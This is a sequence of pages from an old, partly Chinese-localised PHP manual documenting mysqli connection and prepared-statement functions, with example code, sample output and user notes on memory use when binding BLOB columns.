bool mysqli_ssl_set ( mysqli link, string key, string cert, string ca, string capath, string cipher )

Object oriented style (method):

class mysqli {

bool ssl_set ( string key, string cert, string ca, string capath, string cipher )

}

The function mysqli_ssl_set() is used for establishing secure connections using SSL. It must be called before mysqli_real_connect(). This function does nothing unless OpenSSL support is enabled.

key is the pathname to the key file. cert is the pathname to the certificate file. ca is the pathname to the certificate authority file. capath is the pathname to a directory that contains trusted SSL CA certificates in pem format. cipher is a list of allowable ciphers to use for SSL encryption. Any unused SSL parameters may be given as NULL

返回值

This function always returns TRUE value. If SSL setup is incorrect mysqli_real_connect() will return an error when you attempt to connect.

参见

mysqli_options() 和 mysqli_real_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_sqlstate | 上一级 | mysqli_stat


mysqli_stat

(PHP 5)

mysqli_stat

(no version information, might be only in CVS)

mysqli->stat -- Gets the current system status

Description

Procedural style:

string mysqli_stat ( mysqli link )

Object oriented style (method):

class mysqli {

string stat ( void )

}

mysqli_stat() returns a string containing information similar to that provided by the 'mysqladmin status' command. This includes uptime in seconds and the number of running threads, questions, reloads, and open tables.

返回值

A string describing the server status. FALSE if an error occurred.

参见

mysqli_get_server_info().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf ("System status: %s\n", $mysqli->stat());

$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf("System status: %s\n", mysqli_stat($link));

mysqli_close($link);
?>

上例将输出：

System status: Uptime: 272  Threads: 1  Questions: 5340  Slow queries: 0
Opens: 13  Flush tables: 1  Open tables: 0  Queries per second avg: 19.632
Memory in use: 8496K  Max memory used: 8560K

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_ssl_set | 上一级 | mysqli_stmt_affected_rows


mysqli_stmt_affected_rows

(PHP 5)

mysqli_stmt_affected_rows

(no version information, might be only in CVS)

mysqli_stmt->affected_rows -- Returns the total number of rows changed, deleted, or inserted by the last executed statement

Description

Procedural style :

int mysqli_stmt_affected_rows ( mysqli_stmt stmt )

Object oriented style (property):

class mysqli_stmt {

int affected_rows

}

mysqli_stmt_affected_rows() returns the number of rows affected by INSERT, UPDATE, or DELETE query. If the last query was invalid, this function will return -1.

The mysqli_stmt_affected_rows() function only works with queries which update a table. In order to return the number of rows from a SELECT query, use the mysqli_stmt_num_rows() function instead.

返回值

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE/DELETE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query has returned an error.

注: If the number of affected rows is greater than maximal PHP int value, the number of affected rows will be returned as a string value.

参见

mysqli_stmt_num_rows() 和 mysqli_prepare().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* create temp table */
$mysqli->query("CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* prepare statement */
if ($stmt = $mysqli->prepare($query)) {

    /* Bind variable for placeholder */
    $code = 'A%';
    $stmt->bind_param("s", $code);

    /* execute statement */
    $stmt->execute();

    printf("rows inserted: %d\n", $stmt->affected_rows);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* create temp table */
mysqli_query($link, "CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* prepare statement */
if ($stmt = mysqli_prepare($link, $query)) {

    /* Bind variable for placeholder */
    $code = 'A%';
    mysqli_stmt_bind_param($stmt, "s", $code);

    /* execute statement */
    mysqli_stmt_execute($stmt);

    printf("rows inserted: %d\n", mysqli_stmt_affected_rows($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

rows inserted: 17

add a note add a note User Contributed Notes
Carl Olsen
28-Dec-2005 02:34
It appears that an UPDATE prepared statement which contains the same data as that already in the database returns 0 for affected_rows.  I was expecting it to return 1, but it must be comparing the input values with the existing values and determining that no UPDATE has occurred.
add a note add a note

后退 | 起点 | 前进
mysqli_stat | 上一级 | mysqli_stmt_bind_param


mysqli_stmt_bind_param

(PHP 5)

mysqli_stmt_bind_param

(no version information, might be only in CVS)

stmt->bind_param -- Binds variables to a prepared statement as parameters

Description

Procedural style:

bool mysqli_stmt_bind_param ( mysqli_stmt stmt, string types, mixed &var1 [, mixed &...] )

Object oriented style (method):

class mysqli_stmt {

bool bind_param ( string types, mixed &var1 [, mixed &...] )

}

mysqli_stmt_bind_param() is used to bind variables for the parameter markers in the SQL statement that was passed to mysqli_prepare(). The string types contains one or more characters which specify the types for the corresponding bind variables

表格 1. Type specification chars

Character | Description
i | corresponding variable has type integer
d | corresponding variable has type double
s | corresponding variable has type string
b | corresponding variable is a blob and will be send in packages

注: If data size of a variable exceeds max. allowed package size (max_allowed_package), you have to specify b in types and use mysqli_stmt_send_long_data() to send the data in packages.

The number of variables and length of string types must match the parameters in the statement.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_stmt_bind_result(),
mysqli_stmt_execute(),
mysqli_stmt_fetch(),
mysqli_prepare(),
mysqli_stmt_send_long_data(),
mysqli_stmt_errno() 和
mysqli_stmt_error().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$stmt = $mysqli->prepare("INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
$stmt->bind_param('sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", $stmt->affected_rows);

/* close statement and connection */
$stmt->close();

/* Clean up table CountryLanguage */
$mysqli->query("DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d Row deleted.\n", $mysqli->affected_rows);

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$stmt = mysqli_prepare($link, "INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
mysqli_stmt_bind_param($stmt, 'sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

/* execute prepared statement */
mysqi_stmt_execute($stmt);

printf("%d Row inserted.\n", mysqli_stmt_affected_rows($stmt));

/* close statement and connection */
mysqli_stmt_close($stmt);

/* Clean up table CountryLanguage */
mysqli_query($link, "DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d Row deleted.\n", mysqli_affected_rows($link));

/* close connection */
mysqli_close($link);
?>

上例将输出：

1 Row inserted.
1 Row deleted.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_affected_rows | 上一级 | mysqli_stmt_bind_result


mysqli_stmt_bind_result

(PHP 5)

mysqli_stmt_bind_result

(no version information, might be only in CVS)

stmt->bind_result -- Binds variables to a prepared statement for result storage

Description

Procedural style:

bool mysqli_stmt_bind_result ( mysqli_stmt stmt, mixed &var1 [, mixed &...] )

Object oriented style (method):

class mysqli_stmt {

bool bind_result ( mixed &var1 [, mixed &...] )

}

mysqli_stmt_bind_result() is used to associate (bind) columns in the result set to variables. When mysqli_stmt_fetch() is called to fetch data, the MySQL client/server protocol places the data for the bound columns into the specified variables var1, ....

注: Note that all columns must be bound prior to calling mysqli_stmt_fetch(). Depending on column types bound variables can silently change to the corresponding PHP type.

A column can be bound or rebound at any time, even after a result set has been partially retrieved. The new binding takes effect the next time mysqli_stmt_fetch() is called.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_stmt_bind_param(),
mysqli_stmt_execute(),
mysqli_stmt_fetch(),
mysqli_prepare(),
mysqli_stmt_prepare(),
mysqli_stmt_init(),
mysqli_stmt_errno() 和
mysqli_stmt_error().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* prepare statement */
if ($stmt = $mysqli->prepare("SELECT Code, Name FROM Country ORDER BY Name LIMIT 5")) {
    $stmt->execute();

    /* bind variables to prepared statement */
    $stmt->bind_result($col1, $col2);

    /* fetch values */
    while ($stmt->fetch()) {
        printf("%s %s\n", $col1, $col2);
    }

    /* close statement */
    $stmt->close();
}
/* close connection */
$mysqli->close();

?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* prepare statement */
if ($stmt = mysqli_prepare($link, "SELECT Code, Name FROM Country ORDER BY Name LIMIT 5")) {
    mysqli_stmt_execute($stmt);

    /* bind variables to prepared statement */
    mysqli_stmt_bind_result($stmt, $col1, $col2);

    /* fetch values */
    while (mysqli_stmt_fetch($stmt)) {
        printf("%s %s\n", $col1, $col2);
    }

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

AFG Afghanistan
ALB Albania
DZA Algeria
ASM American Samoa
AND Andorra

add a note add a note User Contributed Notes
Michael Newton - http://mike.eire.ca/
14-Feb-2006 03:07
Windows users:

If you're having problems with this statement in general (not just with DECIMAL columns) try the latest client library from MySQL at http://dev.mysql.com/downloads/connector/php/ to see if it helps.

I couldn't even get the example code above working (using the very latest PHP and MySQL) but swapping in the later DLL files from MySQL fixed everything up.
andrey at php dot net
30-Nov-2005 06:49
[ATTENTION] When connecting with 4.1.x libmysql (on windows there is no other option) to 5.0 (5.1) MySQL server there is incompatibility in the protocol regarding type DECIMAL. Therefore result binding on decimal column is not possible. In this case normal mysqli_query() has to be used!!!
When trying to bind you will get FALSE if one of the columns is DECIMAL.
thejkwhosaysni at gmail dot com
20-Oct-2005 04:12
I've created these functions which will act like mysqli_fetch_array() and mysqli_fetch_object() but work with bound results.

<?
   function fetch_object() {
       $data = mysqli_stmt_result_metadata($this->stmt);
       $count = 1; //start the count from 1. First value has to be a reference to stmt.
       $fieldnames[0] = &$this->stmt;
       $obj = new stdClass;
       while ($field = mysqli_fetch_field($data)) {
           $fn = $field->name; //get all the feild names
           $fieldnames[$count] = &$obj->$fn; //load the fieldnames into an object..
           $count++;
       }
       call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
       mysqli_stmt_fetch($this->stmt);
       return $obj;
   }

   function fetch_array() {
       $data = mysqli_stmt_result_metadata($this->stmt);
       $count = 1; //start the count from 1. First value has to be a reference to the stmt. because bind_param requires the link to $stmt as the first param.
       $fieldnames[0] = &$this->stmt;
       while ($field = mysqli_fetch_field($data)) {
           $fieldnames[$count] = &$array[$field->name]; //load the fieldnames into an array.
           $count++;
       }
       call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
       mysqli_stmt_fetch($this->stmt);
       return $array;

   }

?>

Hope this helps some people, I was puzzled by this for a while.
andrey at php dot net
07-Oct-2005 08:38
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
matti at withoutthis dot keller dot com
25-Jul-2005 10:30
Hi
I saw a bit of discussion about using mysqli_stmt_bin_result dynamically, without knowing exactly how many columns will be returned.
After a while i developed this snippet to mimic the same behaviour as mysql_fetch_array():
<?php
# of fields in result set.
$nof = mysqli_num_fields( mysqli_stmt_result_metadata($handle) );

# The metadata of all fields
$fieldMeta = mysqli_fetch_fields( mysqli_stmt_result_metadata($handle) );

# convert it to a normal array just containing the field names
$fields = array();
for($i=0; $i < $nof; $i++)
   $fields[$i] = $fieldMeta[$i]->name;

# The idea is to get an array with the result values just as in mysql_fetch_assoc();
# But we have to use call_user_func_array to pass the right number of args ($nof+1)
# So we create an array:
# array( $stmt, &$result[0], &$result[1], ... )
# So we get the right values in $result in the end!

# Prepare $result and $arg (which will be passed to bind_result)
$result = array();
$arg = array($this->stmt);
for ($i=0; $i < $nof; $i++) {
   $result[$i] = '';
   $arg[$i+1] = &$result[$i];
}

call_user_func_array ('mysqli_stmt_bind_result',$arg);

# after mysqli_stmt_fetch(), our result array is filled just perfectly,
# but it is numbered (like in mysql_fetch_array() ), not indexed by field name!
# If you just want to mimic that ones behaviour you can stop here :)

mysqli_stmt_fetch($this->stmt);

# Now you can use $result
print_r($result);

# But beware! when using the fetch in a loop, always COPY $result or else you might
# end with all the same values because of the references
?>
Hope that this will help someone....
Matt
brad dot jackson at resiideo dot com
23-Mar-2005 01:10
A potential problem exists in binding result parameters from a prepared statement which reference large datatypes like mediumblobs.  One of our database tables contains a table of binary image data.  Our largest image in this table is around 50Kb, but even so the column is typed as a mediumblob to allow for files larger than 64Kb.  I spent a frustrating hour trying to figure out why mysqli_stmt_bind_result choked while trying to allocate 16MB of memory for what should have been at most a 50Kb result, until I realized the function is checking the column type first to find out how big a result _might_ be retrieved, and attempting to allocate that much memory to contain it.  My solution was to use a more basic mysqli_result() query.  Another option might have been to retype the image data column as blob (64Kb limit).
add a note add a note

后退 | 起点 | 前进
mysqli_stmt_bind_param | 上一级 | mysqli_stmt_close


mysqli_stmt_close

(PHP 5)

mysqli_stmt_close

(no version information, might be only in CVS)

mysqli_stmt->close -- Closes a prepared statement

Description

Procedural style:

bool mysqli_stmt_close ( mysqli_stmt stmt )

Object oriented style (method):

class mysqli_stmt {

bool close ( void )

}

Closes a prepared statement. mysqli_stmt_close() also deallocates the statement handle pointed to by stmt. If the current statement has pending or unread results, this function cancels them so that the next query can be executed.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_prepare().

add a note add a note User Contributed Notes
daniel dot kipp at web dot de
18-Jan-2006 01:06
if you are repeating an statement in an loop using bind_param and so on inside it for a larger operation. i thougt id would be good to clean it with stmt->close. but it broke always with an error after aprox. 250 operations . As i tried it with  stmt->reset it worked for me.
add a note add a note

后退 | 起点 | 前进
mysqli_stmt_bind_result | 上一级 | mysqli_stmt_data_seek


mysqli_stmt_data_seek

(PHP 5)

mysqli_stmt_data_seek

(no version information, might be only in CVS)

stmt->data_seek -- Seeks to an arbitray row in statement result set

Description

Procedural style:

void mysqli_stmt_data_seek ( mysqli_stmt statement, int offset )

Object oriented style (method):

class mysqli_stmt {

void data_seek ( int offset )

}

The mysqli_stmt_data_seek() function seeks to an arbitrary result pointer specified by the offset in the statement result set represented by statement. The offset parameter must be between zero and the total number of rows minus one (0..mysqli_stmt_num_rows() - 1).

返回值

Returns NULL on success or FALSE on failure.

参见

mysqli_prepare().

范例

例子 1. Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* execute query */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($name, $code);

    /* store result */
    $stmt->store_result();

    /* seek to row no. 400 */
    $stmt->data_seek(399);

    /* fetch values */
    $stmt->fetch();

    printf ("City: %s  Countrycode: %s\n", $name, $code);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $name, $code);

    /* store result */
    mysqli_stmt_store_result($stmt);

    /* seek to row no. 400 */
    mysqli_stmt_data_seek($stmt, 399);

    /* fetch values */
    mysqli_stmt_fetch($stmt);

    printf ("City: %s  Countrycode: %s\n", $name, $code);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

City: Benin City  Countrycode: NGA

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_close | 上一级 | mysqli_stmt_errno


mysqli_stmt_errno

(PHP 5)

mysqli_stmt_errno

(no version information, might be only in CVS)

mysqli_stmt->errno -- Returns the error code for the most recent statement call

Description

Procedural style :

int mysqli_stmt_errno ( mysqli_stmt stmt )

Object oriented style (property):

class mysqli_stmt {

int errno

}

For the statement specified by stmt, mysqli_stmt_errno() returns the error code for the most recently invoked statement function that can succeed or fail.

注: Client error message numbers are listed in the MySQL errmsg.h header file, server error message numbers are listed in mysqld_error.h. In the MySQL source distribution you can find a complete list of error messages and error numbers in the file Docs/mysqld_error.txt.

返回值

An error code value. Zero means no error occurred.

参见

mysqli_stmt_error() 和 mysqli_stmt_sqlstate().

范例

例子 1. Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    printf("Error: %d.\n", $stmt->errno);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    printf("Error: %d.\n", mysqli_stmt_errno($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Error: 1146.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_data_seek | 上一级 | mysqli_stmt_error


mysqli_stmt_error

(PHP 5)

mysqli_stmt_error

(no version information, might be only in CVS)

mysqli_stmt->error -- Returns a string description for last statement error

Description

Procedural style:

string mysqli_stmt_error ( mysqli_stmt stmt )

Object oriented style (property):

class mysqli_stmt {

string error

}

For the statement specified by stmt, mysqli_stmt_error() returns a containing the error message for the most recently invoked statement function that can succeed or fail.

返回值

A string that describes the error. An empty string if no error occurred.

参见

mysqli_stmt_errno() 和 mysqli_stmt_sqlstate().

范例

例子 1. Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    printf("Error: %s.\n", $stmt->error);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    printf("Error: %s.\n", mysqli_stmt_error($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Error: Table 'world.myCountry' doesn't exist.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_errno | 上一级 | mysqli_stmt_execute


mysqli_stmt_execute

(PHP 5)

mysqli_stmt_execute

(no version information, might be only in CVS)

stmt->execute -- Executes a prepared Query

Description

Procedural style:

bool mysqli_stmt_execute ( mysqli_stmt stmt )

Object oriented style (method):

class mysqli_stmt {

bool execute ( void )

}

The mysqli_stmt_execute() function executes a query that has been previously prepared using the mysqli_prepare() function represented by the stmt object. When executed any parameter markers which exist will automatically be replaced with the appropiate data.

If the statement is UPDATE, DELETE, or INSERT, the total number of affected rows can be determined by using the mysqli_stmt_affected_rows() function. Likewise, if the query yields a result set the mysqli_stmt_fetch() function is used.

注: When using mysqli_stmt_execute(), the mysqli_stmt_fetch() function must be used to fetch the data prior to performing any additional queries.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_prepare() 和 mysqli_stmt_bind_param().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

/* Prepare an insert statement */
$query = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)";
$stmt = $mysqli->prepare($query);

$stmt->bind_param("sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Execute the statement */
$stmt->execute();

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Execute the statement */
$stmt->execute();

/* close statement */
$stmt->close();

/* retrieve all rows from myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
if ($result = $mysqli->query($query)) {
    while ($row = $result->fetch_row()) {
        printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
    }
    /* free result set */
    $result->close();
}

/* remove table */
$mysqli->query("DROP TABLE myCity");

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* Prepare an insert statement */
$query = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)";
$stmt = mysqli_prepare($link, $query);

mysqli_stmt_bind_param($stmt, "sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Execute the statement */
mysqli_stmt_execute($stmt);

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Execute the statement */
mysqli_stmt_execute($stmt);

/* close statement */
mysqli_stmt_close($stmt);

/* retrieve all rows from myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
if ($result = mysqli_query($link, $query)) {
    while ($row = mysqli_fetch_row($result)) {
        printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
    }
    /* free result set */
    mysqli_free_result($result);
}

/* remove table */
mysqli_query($link, "DROP TABLE myCity");

/* close connection */
mysqli_close($link);
?>

上例将输出：

Stuttgart (DEU,Baden-Wuerttemberg)
Bordeaux (FRA,Aquitaine)

add a note add a note User Contributed Notes
andrey at php dot net
07-Oct-2005 08:34
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
add a note add a note

后退 | 起点 | 前进
mysqli_stmt_error | 上一级 | mysqli_stmt_fetch


mysqli_stmt_fetch

(PHP 5)

mysqli_stmt_fetch

(no version information, might be only in CVS)

stmt->fetch -- Fetch results from a prepared statement into the bound variables

Description

Procedural style:

bool mysqli_stmt_fetch ( mysqli_stmt stmt )

Object oriented style (method):

class mysqli_stmt {

bool fetch ( void )

}

mysqli_stmt_fetch() fetch the result from a prepared statement into the variables bound by mysqli_stmt_bind_result().

注: Note that all columns must be bound by the application before calling mysqli_stmt_fetch().

返回值

表格 1. 返回值

Value | Description
TRUE | Success. Data has been fetched
FALSE | Error occured
NULL | No more rows/data exists or data truncation occurred

参见

mysqli_prepare(),
mysqli_stmt_errno(),
mysqli_stmt_error() 和
mysqli_stmt_bind_result().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = $mysqli->prepare($query)) {

    /* execute statement */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($name, $code);

    /* fetch values */
    while ($stmt->fetch()) {
        printf ("%s (%s)\n", $name, $code);
    }

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = mysqli_prepare($link, $query)) {

    /* execute statement */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $name, $code);

    /* fetch values */
    while (mysqli_stmt_fetch($stmt)) {
        printf ("%s (%s)\n", $name, $code);
    }

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Rockford (USA)
Tallahassee (USA)
Salinas (USA)
Santa Clarita (USA)
Springfield (USA)

add a note add a note User Contributed Notes
andrey at php dot net
28-Apr-2005 02:37
IMPORTANT note: Be careful when you use this function with big result sets or with BLOB/TEXT columns. When one or more columns are of type (MEDIUM|LONG)(BLOB|TEXT) and ::store_result() was not called mysqli_stmt_fetch() will try to allocate at least 16MB for every such column. It _doesn't_ matter that the longest value in the result set is for example 30 bytes, 16MB will be allocated. Therefore it is not the best idea ot use binding of parameters whenever fetching big data. Why? Because once the data is in the mysql result set stored in memory and then second time in the PHP variable.
add a note add a note

后退 | 起点 | 前进
mysqli_stmt_execute | 上一级 | mysqli_stmt_free_result


mysqli_stmt_free_result

(PHP 5)

mysqli_stmt_free_result

(no version information, might be only in CVS)

stmt->free_result -- Frees stored result memory for the given statement handle

Description

Procedural style:

void mysqli_stmt_free_result ( mysqli_stmt stmt )

Object oriented style (method):

class mysqli_stmt {

void free_result ( void )

}

The mysqli_stmt_free_result() function frees the result memory associated with the statement represented by the stmt parameter, which was allocated by mysqli_stmt_store_result().

返回值

This function doesn't return any value.

参见

mysqli_stmt_store_result().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_fetch | 上一级 | mysqli_stmt_init


mysqli_stmt_init

(PHP 5)

mysqli_stmt_init

(no version information, might be only in CVS)

mysqli->stmt_init -- Initializes a statement and returns an object for use with mysqli_stmt_prepare

Description

Procedural style :

mysqli_stmt mysqli_stmt_init ( mysqli link )

Object oriented style (property):

class mysqli {

mysqli_stmt stmt_init ( void )

}

Allocates and initializes a statement object suitable for mysqli_stmt_prepare().

注: Any subsequent calls to any mysqli_stmt function will fail until mysqli_stmt_prepare() was called.

返回值

Returns an object.

参见

mysqli_stmt_prepare().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_free_result | 上一级 | mysqli_stmt_num_rows


mysqli_stmt_num_rows

(PHP 5)

mysqli_stmt_num_rows

(no version information, might be only in CVS)

stmt->num_rows -- Return the number of rows in statements result set

Description

Procedural style :

int mysqli_stmt_num_rows ( mysqli_stmt stmt )

Object oriented style (property):

class mysqli_stmt {

int num_rows

}

Returns the number of rows in the result set. The use of mysqli_stmt_num_rows() depends on whether or not you used mysqli_stmt_store_result() to buffer the entire result set in the statement handle.

